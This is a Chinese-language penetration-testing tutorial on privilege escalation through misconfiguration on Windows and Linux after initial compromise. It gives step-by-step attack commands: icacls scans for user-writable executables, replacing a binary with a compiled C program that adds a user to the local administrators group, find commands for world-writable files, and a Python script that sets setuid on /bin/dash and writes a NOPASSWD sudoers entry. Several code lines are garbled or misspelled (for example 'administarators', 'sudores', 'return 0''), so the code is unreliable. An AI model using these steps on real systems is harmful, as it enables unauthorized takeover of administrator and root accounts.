利用漏洞提权:
- 前提:已经成功渗透进入目标系统;
- 目标:利用系统本身的漏铜进行提权;
.利用配置不当提权:
与漏洞提权相比,利用配置不当提权更为常见。大部分企业环境下,会有相应的补丁跟新策略,因此难以通过相应的漏洞进行入侵。因此,当入侵一台服务器候找不到漏洞,可利用配置不当提权。如:
- 前提:已经成功渗透进入目标系统;
- 可以查找系统中以system权限启动的而服务或应用,可以尝试将其替代或者反弹shell的方式提权;
- 可以查找NTFS权限允许users修改删除的应用,利用配置不当进行提权;
- 代码中是否有过滤参数的操作等都可以利用,进行提权。
一、windows系统下查找权限设置不当的程序(Windows server 2003、win7以后的系统中包含的程序)
1、查找exe执行程序的NTFS权限;
命令:icacls c:\Windows*.exe /save perm /T
- c:\Windows*.exe ——>指定c:\Windows\目录下,所有的exe文件;
- /save perm:将查询结果保存到文本文件perm中;
- /T:当前目录以及子目录下所有满足条件的文件;
输入命令dir,可以看到生成的perm文件。
2、在perm文件中查找含有字符串为FA;;;BU的exe执行程序,表示普通用户具有完全的权限,将其作为潜在的攻击目标。一般情况下,普通用户对操作系统中的文件都没有修改的权限。
- FA:完全控制权限;
- BU:即bulit user,默认的普通用户,当它的权限为完全控制时,就是我们要找的程序A。在windows系统中默认没有这种权限,只有当管理员配置不当时,才存在这种情况;
- PU:power user
3、如果找到系统中某个应用程序A,普通用户user时对其具有完全控制权限的,我们可以先将A程序重命名为其他名字,然后将admin.exe重命名为A,这样当管理员下次执行A程序时,实际执行的是admin.exe程序,即普通用户user添加的本地管理员组。
操作过程:
在kali上准备admin.c文件,将其编译成可执行程序(即将admin.c的C语言程序编译成在windows中可以执行admin.exe文件),然后想办法拷贝到Windows 2003上,执行admin.exe程序将用户user添加到本地管理员组中。
admin.c文件内容:
#include <stdlib.h>
int main()
{
int i;
i=system("net localgroup administarators a /add");
return 0'
}
编译方法:
i586-mingw32msvc-gcc -o admin.exe admin.c
二、linux系统下查找权限设置不安全的程序
1、查看/目录下文件权限为777的所有文件,并列出详细信息;
- ls -l ——> #查找当前目录下所有文件的权限;
- find / -perm 777 -exec ls -l {} ; ——> # -perm 777 — 查找所有权限为777的文件;
- -exec ——> 执行 ls -l ;
- ; ——> find命令以其结束;
2、find / -writable -type f 2>/dev/null |grep -v “/proc/” #查看/目录下所有可写的文件;
- 2 ——> 错误标志位,不满足条件的放入/dev/null;
- /dev/null ——> 类似于垃圾箱,丢弃;
- grep -v “/proc/” ——> 反向查找,不找/proc/;
三、提权
思路:渗透进入的是应用程序,可查看引用系统的配置文件
- 通过应用连接数据库的配置文件,发现其连接的服务账号;
- 后台服务运行账号,有可能root账号运行web服务;
四、编辑python提权
自己编辑python脚本的路径为:vim /usr/lib/log/sudi.py
注意:在/usr/lib的路径下通过mkdir命令建立一个log目录,然后通过以上命令进行编译;
代码内容如下:
#!/usr/bin/env python
#
import os
import sys
try:
# os.system('rm -r /tmp/*')
# os.system('cp /bin/sh /tmp/sh')
# os.system('chmod u+s /bin/dash')
# os.system('echo "redhat ALL=(ALL) NOPASSWD: ALL" > /etc/sudores')
except:
sys.exit()
1、通过执行/bin/dash获取root管理员权限
1.1>
1.2> 以普通用户hacker登录,执行/bin/dash,可以看到,权限提升为root
2、将普通用户放到sudo组里面获取管理员权限;
2.1> 通过执行echo “redhat ALL=(ALL) NOPASSWD: ALL” > /etc/sudores命令获取管理员权限;